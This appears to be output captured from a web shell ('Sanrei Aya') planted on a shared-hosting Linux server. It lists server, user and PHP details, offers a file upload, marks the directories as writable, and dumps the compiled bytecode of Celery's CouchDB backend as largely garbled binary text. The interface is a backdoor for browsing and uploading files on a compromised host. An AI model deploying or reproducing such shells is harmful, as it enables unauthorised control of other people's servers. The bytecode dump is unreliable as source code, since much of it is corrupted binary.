Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/backends/__pycache__/couchdb.cpython-39.pyc
a

��Shw�@stdZddlmZddlmZddlmZddlmZzddl	Z	Wne
yVdZ	Yn0dZd	ZGd
d�de�Z
dS)zCouchDB result store backend.�)�bytes_to_str)�
_parse_url)�ImproperlyConfigured�)�KeyValueStoreBackendN)�CouchBackendzKYou need to install the pycouchdb library to use the CouchDB result backendcsneZdZdZdZdZdZdZdZdZ	d�fdd�	Z
d	d
�Zedd��Z
d
d�Zdd�Zdd�Zdd�Z�ZS)rz�CouchDB backend.

    Raises:
        celery.exceptions.ImproperlyConfigured:
            if module :pypi:`pycouchdb` is not available.
    �default�http�	localhosti`Ncs�t�j|i|��||_tdur(tt��d}}}}}}	|rlt|�\}
}}}}}	}
|	rh|	�d�nd}	|pt|j|_|p�|j	|_	t
|p�|j�|_|	p�|j|_|p�|j
|_
|p�|j|_d|_dS)N�/)�super�__init__�url�	pycouchdbr�ERR_LIB_MISSINGr�strip�scheme�host�int�port�	container�username�password�_connection)�selfr�args�kwargsZuschemeZuhostZuport�unameZupassZ
ucontainer�_��	__class__��A/usr/local/lib/python3.9/site-packages/celery/backends/couchdb.pyr
$szCouchBackend.__init__c	Cs�|jrF|jrF|j�d|j�d|j�d|j�d|j��	}tj|dd�}n$|j�d|j�d|j��}t�|�}z|�|j�WStj	j
y�|�|j�YS0dS)zConnect to the CouchDB server.z://�:�@�basic)Z
authmethodN)rrrrrr�ServerZdatabaser�
exceptions�NotFound�create)rZconn_string�serverr!r!r"�_get_connection9s*
zCouchBackend._get_connectioncCs|jdur|��|_|jS�N)rr+�rr!r!r"�
connectionGs

zCouchBackend.connectioncCs8t|�}z|j�|�dWStjjy2YdS0dS)N�value)rr.�getrr'r(�r�keyr!r!r"r0Ms
zCouchBackend.getcCs^t|�}||d�}z|j�|�Wn6tjjyX|j�|�}||d<|j�|�Yn0dS)N)Z_idr/r/)rr.�saverr'�Conflictr0)rr2r/�datar!r!r"�setTs
zCouchBackend.setcs�fdd�|D�S)Ncsg|]}��|��qSr!)r0)�.0r2r-r!r"�
<listcomp>`�z%CouchBackend.mget.<locals>.<listcomp>r!)r�keysr!r-r"�mget_szCouchBackend.mgetcCs|j�|�dSr,)r.�deleter1r!r!r"r<bszCouchBackend.delete)N)�__name__�
__module__�__qualname__�__doc__rrrrrrr
r+�propertyr.r0r6r;r<�
__classcell__r!r!rr"rs
r)r@Zkombu.utils.encodingrZkombu.utils.urlrZcelery.exceptionsr�baserr�ImportError�__all__rrr!r!r!r"�<module>s


Yohohohohohooho | Sanrei Aya